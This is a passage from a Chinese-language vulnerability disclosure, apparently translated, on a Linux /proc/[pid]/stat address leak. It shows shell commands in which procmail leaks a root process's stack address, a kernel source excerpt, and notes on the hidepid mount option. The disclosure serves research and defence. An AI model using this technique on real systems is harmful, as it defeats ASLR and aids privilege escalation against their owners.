7f508c318000-7f508c319000 rw-p 00000000 00:00 0
7ffcf3496000-7ffcf34b7000 rw-p 00000000 00:00 0 [stack]
7ffcf351b000-7ffcf351e000 r--p 00000000 00:00 0 [vvar]
7ffcf351e000-7ffcf351f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
从2.6.22版开始,Linux内核只有在能ptrace()附加到某进程的情况下,才能读取/proc/[pid]/maps,非特权用户也就无法读取root进程的映射伪文件(否则ASLR将形同虚设)。
$ su &
[1] 2661
$ cat /proc/2661/maps
cat: /proc/2661/maps: Permission denied
前述的Openwall发布的文章里指出,权限检查在read()时进行,这一点之所以有问题,是因为非特权用户可以打开映射文件,得到有效的文件描述符,然后将其传给特权程序(比如setuid root),而某些特权程序可以以某种方式将文件中的内容泄露给非特权用户(特权进程有权限read()读取映射文件)。
为了修复此漏洞,权限检查的时机从read()调整到了open(),代码在下面的commit中:https://github.com/torvalds/linux/commit/29a40ace841cba9b661711f042d1821cdc4ad47c
0x02 问题
SUSE的安全工程师忘记提到的是,这个“修复”是有问题的:还有别的/proc/[pid]/伪文件可以泄露当前映射的内存地址,而它们的权限检查还是在read()时进行的。其中之一是/proc/[pid]/stat(又是它),信息泄露的老源头。
$ su &
[1] 2767
$ ls -l /proc/2767/stat
-r--r--r-- 1 root root 0 Feb 4 16:50 /proc/2767/stat
[1]+ Stopped su
$ cat /proc/2767/stat
2767 (su) T 2766 2767 2766 34817 2773 1077936128 266 0 1 0 0 0 0 0 20 0 1 0 181759 58273792 810 18446744073709551615 1 1 0 0 0 0 524288 6 0 0 0 0 17 1 0 0 6 0 0 0 0 0 0 0 0 0 0
这次情况和之前有所不同。非特权用户可以读取不能ptrace()附加的进程所属的/proc/[pid]/stat,但是内存地址都被填了0。Linux 5.5中的fs/proc/array.c摘录如下:
static int do_task_stat(struct seq_file *m, struct pid_namespace *ns,
struct pid *pid, struct task_struct *task, int whole)
{
[...]
int permitted;
[...]
permitted = ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS | PTRACE_MODE_NOAUDIT);
[...]
seq_put_decimal_ull(m, " ", mm ? (permitted ? mm->start_code : 1) : 0);
seq_put_decimal_ull(m, " ", mm ? (permitted ? mm->end_code : 1) : 0);
seq_put_decimal_ull(m, " ", (permitted && mm) ? mm->start_stack : 0);
[...]
}
利用方式和SUSE安全工程师的Openwall文章中的一模一样,只是这次读的是/proc/[pid]/stat。另外一些可以泄露地址的setuid二进制包括procmail、spice-client-glib-usb-acl-helper和setuid root。
下面就用procmail做个例子:
$ su &
[1] 3122
$ cut -d' ' -f51 /proc/3122/stat
0
[1]+ Stopped su
$ procmail stat
$ tail -2 /var/spool/mail/user | cut -d' ' -f51
140726221803504
$ printf '0x%xn' 140726221803504
0x7ffd60760ff0
# cat /proc/3122/maps
[...]
7ffd60740000-7ffd60761000 rw-p 00000000 00:00 0 [stack]
我们和零日漏洞项目(ZDI)进行了接触,向他们披露了该漏洞,Linux内核开发者对此回复,他们发现已经实现了一个可选配置,可以避免此漏洞,因此目前不会再修补漏洞。所提到的这个配置是hidepid mount(8)参数。
然而,这个参数并不能避免问题。
我们再次援引proc(5)的man文档:
hidepid=n (自Linux 3.3起)该选项控制谁能访问/proc/[pid]目录中的信息。参数n可取以下值之一:
0 任何人可以访问任何/proc/[pid]目录。这是以前的默认行为,现在只要mount选项未指定,也是默认行为。
1 用户只能访问自己的/proc/[pid]目录下的文件和子目录(各/proc/[pid]目录本身仍然可见)。敏感文件(如/proc/[pid]/cmdline和/proc/[pid]/status)现在对其他用户不可访问。这样就无法得知某用户是否在运行某个特定程序(只要该程序不自己透露其存在)。
2 如模式1,加上其他用户的/proc/[pid]目录也不可见。这样/proc/[pid]目录就不能用于得知系统上所有的PID。不能隐藏某个特定PID进程的存在(可以以其他方式得知进程存在,比如”kill -0 $PID”),但可以隐藏进程的UID和GID,这二者在通常情况下可以通过对/proc/[pid]目录应用stat(2)得到。这样可大大增加攻击者收集当前运行进程信息的难度。